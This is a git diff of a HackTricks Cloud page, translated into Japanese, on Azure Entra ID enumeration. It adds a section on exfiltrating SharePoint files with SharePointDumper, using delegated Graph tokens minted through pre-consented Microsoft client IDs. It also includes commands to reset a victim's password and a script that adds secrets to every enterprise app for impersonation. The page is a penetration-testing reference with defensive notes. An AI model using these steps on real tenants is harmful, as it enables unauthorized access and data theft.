mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、**認証、承認、およびユーザー管理**を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。
|
||||
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。従業員が社内外のリソースにサインインしてアクセスすることを可能にし、Microsoft 365、Azure portal、その他多数の SaaS アプリケーションを含むリソースへのアクセスを扱います。Azure AD の設計は、特に **認証、認可、およびユーザー管理** を含む重要なアイデンティティサービスの提供に焦点を当てています。
|
||||
|
||||
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
|
||||
Azure AD の主な機能には、**多要素認証** と **条件付きアクセス**、および他の Microsoft セキュリティサービスとのシームレスな統合が含まれます。これらの機能はユーザーのアイデンティティのセキュリティを大幅に高め、組織がアクセス方針を効果的に実装・適用することを可能にします。Microsoft のクラウドサービスのエコシステムにおける基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベース管理において極めて重要です。
|
||||
|
||||
## 列挙
|
||||
|
||||
@@ -96,6 +96,7 @@ Connect-AzAccount -Credential $creds
|
||||
|
||||
# Connect with access token
|
||||
Connect-AzAccount -AccountId test@corp.onmicrosoft.com [-AccessToken $ManagementToken] [-GraphAccessToken $AADGraphToken] [-MicrosoftGraphAccessToken $MicrosoftGraphToken] [-KeyVaultAccessToken $KeyVaultToken]
|
||||
# If connecting with some metadata token, in "-AccountId" put the OID of the managed identity (get it from the JWT token)
|
||||
|
||||
# Connect with Service principal/enterprise app secret
|
||||
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
|
||||
@@ -184,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Azureに**CLI**を介してログインするとき、あなたは**Microsoft**に属する**テナント**からの**Azureアプリケーション**を使用しています。これらのアプリケーションは、あなたのアカウントで作成できるものと同様に、**クライアントID**を持っています。**コンソールで見ることができる許可されたアプリケーションのリスト**にはすべて表示されませんが、**デフォルトで許可されています**。
|
||||
任意のプログラムで**CLI**経由で**Azure**に**login**すると、**Microsoft**に属する**tenant**の**Azure Application**を使用しています。これらのApplicationsは、あなたのアカウントで作成できるものと同様に**client idを持っています**。コンソールで確認できる**allowed applications lists**にすべて表示されるわけではありませんが、デフォルトでは許可されています。
|
||||
|
||||
例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID**`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**して、ユーザーがそのアプリを介して接続できないようにすることができます。
|
||||
たとえば、認証を行う**powershell script**は、client id **`1950a258-227b-4e31-a9cf-717495945fc2`** を持つアプリを使用します。たとえそのアプリがコンソールに表示されなくても、sysadminはそのアプリを**block**することができるため、ユーザーはそのAppを経由して接続するツールを使えなくなります。
|
||||
|
||||
しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションもあります:
|
||||
しかし、Azureに接続を**will allow you to connect to Azure**する**other client-ids**を持つアプリケーションが他にもあります:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -226,7 +227,7 @@ az account tenant list
|
||||
|
||||
### ユーザー
|
||||
|
||||
Entra ID ユーザーに関する詳細情報は、以下を確認してください:
|
||||
Entra ID ユーザーの詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -357,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### ユーザーパスワードの変更
|
||||
#### ユーザーのパスワードを変更
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
### MFA と Conditional Access ポリシー
|
||||
|
||||
すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください:
|
||||
すべてのユーザーにMFAを追加することを強く推奨します。ただし、企業によってはMFAを未設定であったり、Conditional Access を使って設定している場合があります。ユーザーは特定の場所やブラウザ、または**ある条件**からログインした場合に**required MFA if**となります。これらのポリシーは正しく構成されていないと**bypasses**の対象となる可能性があります。確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -373,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
### Groups
|
||||
|
||||
Entra IDグループに関する詳細情報は、以下を確認してください:
|
||||
Entra ID groups の詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -482,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### グループにユーザーを追加
|
||||
|
||||
グループのオーナーは新しいユーザーをグループに追加できます
|
||||
グループの所有者はグループに新しいユーザーを追加できます。
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**ユーザー**が**制御**できる**属性**に基づいている場合、彼はこの機能を悪用して**他のグループに入る**ことができます。\
|
||||
> 動的グループを悪用する方法については、次のページを確認してください:
|
||||
> グループは動的に設定でき、基本的に **ユーザーが特定の条件を満たすとそのユーザーがグループに追加される** ということを意味します。もちろん、条件が **属性** に基づいており、**ユーザー** がそれを **制御** できる場合、そのユーザーはこの機能を悪用して **他のグループに入る** 可能性があります。\
|
||||
> 動的グループを悪用する方法は次のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -496,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### サービスプリンシパル
|
||||
|
||||
Entra ID サービスプリンシパルに関する詳細情報は、次を確認してください:
|
||||
Entra ID のサービスプリンシパルに関する詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -597,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> サービスプリンシパルのオーナーは、そのパスワードを変更できます。
|
||||
> Service Principal の Owner はそのパスワードを変更できます。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>各エンタープライズアプリにクライアントシークレットを追加しようとするリスト</summary>
|
||||
<summary>各 Enterprise App を一覧表示し、各 Enterprise App に client secret を追加できるか試す</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -708,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
|
||||
### アプリケーション
|
||||
|
||||
アプリケーションに関する詳細情報は、以下を確認してください:
|
||||
アプリケーションの詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
アプリが生成されると、2種類の権限が付与されます:
|
||||
App が生成されると、2種類の権限が付与されます:
|
||||
|
||||
- **サービスプリンシパル**に与えられる**権限**
|
||||
- **ユーザー**の**代理**として**アプリ**が持ち、使用できる**権限**。
|
||||
- **Permissions** が **Service Principal** に付与される
|
||||
- **Permissions** を **app** がユーザーに代わって保持・使用できる
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -742,6 +743,33 @@ az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92
|
||||
# Get Cloud Applications Administrators (full access over apps)
|
||||
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
|
||||
|
||||
# Get "API Permissions" of an App
|
||||
## Get the ResourceAppId
|
||||
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
|
||||
## e.g.
|
||||
[
|
||||
{
|
||||
"resourceAccess": [
|
||||
{
|
||||
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
|
||||
"type": "Scope"
|
||||
},
|
||||
{
|
||||
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
|
||||
"type": "Role"
|
||||
}
|
||||
],
|
||||
"resourceAppId": "00000003-0000-0000-c000-000000000000"
|
||||
}
|
||||
]
|
||||
|
||||
## For the perms of type "Scope"
|
||||
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
|
||||
|
||||
## For the perms of type "Role"
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -792,21 +820,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> **`AppRoleAssignment.ReadWrite`** の権限を持つアプリは、役割を自分に付与することで **Global Admin** に **昇格** できます。\
|
||||
> 詳細については [**こちらを確認してください**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)。
|
||||
> 権限 **`AppRoleAssignment.ReadWrite`** を持つアプリは、自分自身にそのロールを付与することで **Global Admin に昇格** することができます。\
|
||||
> 詳細は [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48) を参照してください。
|
||||
|
||||
> [!NOTE]
|
||||
> アプリケーションがトークンを要求する際にそのアイデンティティを証明するために使用する秘密の文字列はアプリケーションパスワードです。\
|
||||
> したがって、この **パスワード** を見つけると、**テナント** 内の **サービスプリンシパル** としてアクセスできます。\
|
||||
> このパスワードは生成時にのみ表示されることに注意してください(変更することはできますが、再取得することはできません)。\
|
||||
> **アプリケーション** の **所有者** はそれに **パスワード** を **追加** できます(そのため、彼はそれを偽装できます)。\
|
||||
> これらのサービスプリンシパルとしてのログインは **リスクあり** として **マークされず**、**MFA** は **ありません**。
|
||||
> アプリがトークンを要求する際に自分の識別を証明するために使用する秘密文字列はアプリケーションのパスワードです。\
|
||||
> したがって、この **password** を見つければ **service principal** として **tenant** 内にアクセスできます。\
|
||||
> このパスワードは生成時にのみ表示されます(変更は可能ですが再取得はできません)。\
|
||||
> **owner** が **application** に **password を追加** することもでき(その結果なりすますことが可能)、\
|
||||
> これらの service principal としてのログインは **リスクあり** とマークされず、**MFA** も適用されません。
|
||||
|
||||
一般的に使用される Microsoft のアプリ ID のリストは [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Managed Identities についての詳細は以下を確認してください:
|
||||
Managed Identities に関する詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -822,9 +850,9 @@ az identity list --output table
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Azure Roles
|
||||
### Azure のロール
|
||||
|
||||
Azure ロールに関する詳細情報は、以下を確認してください:
|
||||
Azure のロールの詳細については、次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -911,7 +939,7 @@ Headers = @{
|
||||
|
||||
### Entra ID ロール
|
||||
|
||||
Azure ロールに関する詳細情報は、以下を確認してください:
|
||||
Azure ロールの詳細については以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1032,12 +1060,12 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> デバイス (VM) が **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\
|
||||
> さらに、ログインしているユーザーがデバイスの **所有者** である場合、彼は **ローカル管理者** になります。
|
||||
> デバイス(VM)が **AzureAD joined** の場合、AzureAD のユーザーは **ログイン可能** です。\
|
||||
> さらに、ログインしているユーザーがデバイスの **Owner** であれば、そのユーザーは **local admin** になります。
|
||||
|
||||
### 管理単位
|
||||
|
||||
管理単位に関する詳細情報は、以下を確認してください:
|
||||
管理単位の詳細については以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1072,74 +1100,123 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Entra ID 特権昇格
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
攻撃者は、**delegated Microsoft Graph token** に **`Sites.Read.All`** または **`Sites.ReadWrite.All`** が含まれている場合、Graph 上で **sites/drives/items** を列挙し、その後 **SharePoint pre-authentication download URLs**(access token を埋め込んだ時間制限付きの URL)経由でファイル内容を取得できます。[SharePointDumper](https://github.com/zh54321/SharePointDumper) スクリプトはフロー全体(列挙 → pre-auth ダウンロード)を自動化し、検出テスト用にリクエストごとのテレメトリを出力します。
|
||||
|
||||
### 利用可能な委任トークンの取得
|
||||
|
||||
- SharePointDumper 自体は **認証を行わない**。access token(任意で refresh token)を供給してください。
|
||||
- 事前に同意された **first-party clients** は、アプリを登録せずに Graph token を発行させる目的で悪用できます。例:`Invoke-Auth`([EntraTokenAid](https://github.com/zh54321/EntraTokenAid) から)の呼び出し:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
|
||||
|
||||
# Other pre-consented clients
|
||||
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
|
||||
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
|
||||
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE クライアントはデバイス間でのリフレッシュをサポートします。FOCI FALSE クライアントは、reply URL origin validation を満たすためにしばしば `-Origin` を必要とします。
|
||||
|
||||
### SharePointDumper を使った enumeration + exfiltration の実行
|
||||
|
||||
- カスタム UA / proxy / throttling を指定した Basic dump:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- スコープ制御: サイトや拡張機能の包含/除外、およびグローバル制限:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **再開** 中断された実行(再列挙しますが、ダウンロード済みの項目はスキップします):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **HTTP 401でのAutomatic token refresh** (EntraTokenAidを読み込む必要があります):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
操作メモ:
|
||||
|
||||
- 実行中の期限切れを避けるため、**CAE-enabled** トークンを優先使用します。リフレッシュ試行はツールの API ログに**記録されません**。
|
||||
- **Graph + SharePoint** 用の **CSV/JSON request logs** を生成し、組み込みの SharePoint ダウンロードトークンをデフォルトでマスク(切替可能)。
|
||||
- 検出/IR テスト中のトラフィック調整のため、**custom User-Agent**、**HTTP proxy**、**per-request delay + jitter**、および **Ctrl+C-safe shutdown** をサポート。
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/
|
||||
{{#endref}}
|
||||
|
||||
## Azure 特権昇格
|
||||
## Azure Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 防御メカニズム
|
||||
## Defensive Mechanisms
|
||||
|
||||
### 特権アイデンティティ管理 (PIM)
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が付与されるのを防ぐ**のに役立ちます。
|
||||
Privileged Identity Management (PIM) は Azure で、ユーザーに不必要な過剰な権限が割り当てられるのを**防ぐ**のに役立ちます。
|
||||
|
||||
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定の期間(例:6ヶ月)資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、**管理者が**リクエストを承認する必要があります。\
|
||||
ユーザーはまた、**延長**を求めることもできます。
|
||||
PIM の主な機能の一つは、常時アクティブな主体にロールを割り当てるのではなく、一定期間(例: e.g. 6months)**eligible** にすることができる点です。ユーザーがそのロールを有効化したい場合、必要な期間(例: e.g. 3 hours)を指定して申請し、**管理者が承認**する必要があります。\
|
||||
ユーザーは有効期間を**延長**することもできます。
|
||||
|
||||
さらに、**PIM は**特権ロールが誰かに割り当てられるたびにメールを送信します。
|
||||
さらに、特権ロールが誰かに割り当てられるたびに、**PIM はメールを送信します**。
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます:
|
||||
PIM が有効な場合、各ロールに対して次のような要件を設定できます:
|
||||
|
||||
- アクティベーションの最大期間(時間)
|
||||
- アクティベーション時に MFA を要求
|
||||
- 条件付きアクセス認証コンテキストを要求
|
||||
- アクティベーション時に正当化を要求
|
||||
- アクティベーション時にチケット情報を要求
|
||||
- アクティベートするための承認を要求
|
||||
- 資格のある割り当ての最大有効期限
|
||||
- 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多く
|
||||
- 最大有効化期間 (hours)
|
||||
- 有効化時に MFA を要求
|
||||
- 有効化時に Conditional Access authentication context を要求
|
||||
- 有効化時に justification を要求
|
||||
- 有効化時にチケット情報を要求
|
||||
- 有効化するには承認を要求
|
||||
- eligible 割り当てが期限切れになるまでの最大時間
|
||||
- そのロールで特定の操作が発生したときにいつ誰に通知を送るか等、さらに多くの設定
|
||||
|
||||
### 条件付きアクセス ポリシー
|
||||
### Conditional Access Policies
|
||||
|
||||
確認:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Entra アイデンティティ保護
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra アイデンティティ保護は、**ユーザーまたはサインインが受け入れられるにはリスクが高すぎる場合を検出する**セキュリティサービスで、ユーザーまたはサインインの試行を**ブロック**することができます。
|
||||
Entra Identity Protection は、ユーザーやサインインが受け入れられるにはリスクが高すぎるかどうかを**検出**し、ユーザーまたはサインイン試行を**ブロック**できるセキュリティサービスです。
|
||||
|
||||
管理者は、リスクが「低およびそれ以上」、「中程度およびそれ以上」または「高」である場合に試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です:
|
||||
管理者はリスクが「Low and above」「Medium and above」「High」のいずれかのレベルで試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です。
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 現在、可能な場合は条件付きアクセス ポリシーを介してこれらの制限を追加することが推奨されています。
|
||||
> 現在では、同じオプションを設定できる Conditional Access policies を通じてこれらの制限を追加することが推奨されています。
|
||||
|
||||
### Entra パスワード保護
|
||||
### Entra Password Protection
|
||||
|
||||
Entra パスワード保護 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐ**セキュリティ機能です。\
|
||||
また、提供する必要がある**カスタムパスワードリストを禁止する**こともできます。
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、複数のログイン失敗が発生した際にアカウントをロックアウトすることで、弱いパスワードの悪用を**防ぐ**セキュリティ機能です。\
|
||||
また、提供するカスタムパスワードリストを**禁止 (ban)** することもできます。
|
||||
|
||||
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用**できます。
|
||||
クラウドレベルおよびオンプレミスの Active Directory の両方に**適用可能**です。
|
||||
|
||||
デフォルトモードは**監査**です:
|
||||
デフォルトモードは**Audit**です:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user